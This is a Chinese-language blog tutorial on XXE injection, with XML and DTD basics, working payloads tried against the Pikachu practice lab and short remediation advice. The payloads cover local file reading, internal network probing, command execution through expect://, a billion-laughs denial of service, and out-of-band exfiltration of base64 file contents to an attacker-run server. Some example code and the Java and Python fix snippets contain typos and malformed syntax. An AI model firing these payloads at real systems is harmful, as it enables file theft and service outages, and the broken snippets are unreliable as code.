• Web漏洞之XXE初探


    XXE介绍

    XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

    XML基础

    XML 指可扩展标记语言(EXtensible Markup Language)
    XML 是一种标记语言,很类似 HTML
    XML 的设计宗旨是传输数据,而非显示数据XML 标签没有被预定义。您需要自行定义标签
    XML 被设计为具有自我描述性。
    XML 是 W3C 的推荐标准
    XML 仅仅是纯文本
    XML 可以发明自己的标签
    XML 是对 HTML 的补充
    XML 是 W3C 的推荐标准

    XML结构/类型

    XML文档结构包括:XML声明、DTD文档类型定义(可选)、文档元素。

    XML是可扩展得标记语言,设计用来进行数据的传输和存储
    <?xml version="1" encoding="UTF-8"?> //XML声明
    <!DOCTYPE message [ //DTD文档类型定义
    <!ELEMENT message (receiver,sender,header,msg)>] //定义元素
    
    
    <reset><login>&aaa;</login>
    <secret>Any bugs?</secret></reset> //文档元素
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    <!--XML声明-->
    <?xml version="1.0"?> 
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->      //PCDATA 的意思是被解析的字符数据
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    DTD

    文档类型定义(dtd)可以定义合法得XML文档构建模块,它使用一系列合法的元素来定义文档结构
    DTD可以成行地声明于XML文档中,也可作为一个外部引用。

    1. 内部得DOCTYPE声明
    <!DOCTYPE 根元素 [元素声明]>
    内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
    2. 外部文档声明
    <!DOCTYPE 根元素 SYSTEM “URI”>
    外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

    DTD实体

    1.内部实体声明
    <!ENTITY 实体名称 “实体得值”>
    2.外部实体声明
    <!ENTITY 实体名称 SYSTEM “URI”>
    3.参数实体声明
    <!ENTITY % 实体名称 “实体的值”>或<!ENTITY % 实体名称 SYSTEM “URI”>

    引用
    ● 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
    ● 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

    XXE漏洞(XML外部实体注入)

    注入:在XML数据传输过程中,数据被恶意修改,导致服务最终执行了修改后的恶意代码
    外部实体:通过调用外部实体声明部分对XML数据进行修改,插入恶意代码

    因此XXE指的是XML数据在传输过程中,利用外部实体声明部分的“SYSTEM”关键字导致XML解析器可以从本地文件或者远程的URL中读取受保护的数据。

    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE name [
        <!ENTITY xxe  (实体引用名) SYSTEM "file:///C://Windows//win.ini"(实体内容)>]>
    
    <name>&xxe;</name>
    system外部引用dtd 利用file协议读取本地文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    靶场演示Pikachu

    在这里插入图片描述Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 //接收的类型
    发现提交数据支持XML格式内容,尝试使XXE攻击语句进行测试

    任意文件读取

    #读文件
    <?xml version="1.0"  encoding="UTF-8"?>
    <!DOCTYPE name [ 
    <!ENTITY xxe SYSTEM "file:///C://Windows//win.ini">]> 
    <name>&xxe;</name>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    内网探针或攻击内网应用(漏洞)

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo[
    <!ELEMENT foo ANY >
    <!ENTITY rabbit SYSTEM "http://45.158.23.96:8088/">
    ]>
    <x>&rabbit;</x>  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    RCE

    安装expect拓展的PHP环境里执行系统命令
    <?xml version="1.0" encoding="UTF-8"?>
    <?DOCTYPE ANY[
    		<!ENTITY xxe SYSTEM "expect://ipconfig">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    DOS

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    引用外部实体dtd

    #引用外部实体dtd
    <?xml version="1.0" encoding="UTF-8"?>
    		<!DOCTYPE test[
    	<!ENTITY % file SYSTEM "http://127.0.0.1/one.dtd">
    	%file;
    ]>
    <x>&send;</x>
    
    one.dtd:
    	<!ENTITY send SYSTEM "file:///C://Windows//win.ini">
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    无回显读取

    
     #无回显读取文件
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/hello.txt">
    <!ENTITY % dtd SYSTEM "http://192.168.1.4/test.dtd">
    %dtd;
    %send;
    ]>
     
     test.dtd
     <!ENTITY % payload
     		"<!ENTITY &#25; send SYSTEM 'http://192.168.1.4/?data=%file;'>"
     >
     %payload;
     
     先通过system外部引用 php协议将hello.txt的内容进行base64    ——》  然后去执行引用192.168.1.4下的test.dtd文档    -》 去访问我们搭建的web服务卸载%file这个参数 ,然后我们去看我们apache 日志文件,的web访问记录 从而得到文件内容
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    XXE-lab尝试登录–>抓包发现xml数据–>注入payload

    <!DOCTYPE name [ 
    <!ENTITY xxe SYSTEM "file:///C://Windows//win.ini">
    ]> 
    
    • 1
    • 2
    • 3

    检测

    1. 提交数据包格式包含XML格式:
      testtest
    2. 请求头中存在:
      Content-type:text/xml Content-type:application/xml
    3. 修改Content-type值,尝试发送xml payload查看接收。

    存在以上1、2信息就有可能存在注入点,在burp抓包最下方写入payload尝试。

    CTF-Vulnhub-XEE实战复现过程:https://blog.csdn.net/qq_44930903/article/details/112333612
    CTF-xml漏洞在线环境:http://web.jarvisoj.com:9882/

    过滤进行fuzz模糊测试,
    自动化注入工具:https://www.cnblogs.com/bmjoker/p/9614990.html

    修复方案

    禁用外部实体引用

    PHP:libxml_disable_entity_loader(true);
    JAVA:DocuemntBuilderFactory dbf=DocumentBuiderFactory.newlnstance();
    		 dbf.setExpandEntityReferences(false)
    Python: from lxml import etree
    				xmlData = etree.parse(xmlSouerce,etree.XMLParser(resolve_entitles=flase))
    
    • 1
    • 2
    • 3
    • 4
    • 5

    过滤用户提交的XML数据

    在这里插入图片描述

  • 相关阅读:
    Java之方法
    如何使用HTTP代理爬虫,防止对网站造成负面影响
    银行信息系统应用架构导论-引用
    vue - Vue脚手架/TodoList案例
    AI作诗,模仿周杰伦创作歌词<->实战项目
    mybatis分页
    【Linux】第五站:Linux权限
    wps屏幕录制怎么用?分享使用方法!
    C#生成putty格式的ppk文件(支持passphrase)
    Django框架之模型层(建表、传表、连接访问数据库、返回数据至前端页面)
  • 原文地址:https://blog.csdn.net/weixin_49150931/article/details/125446266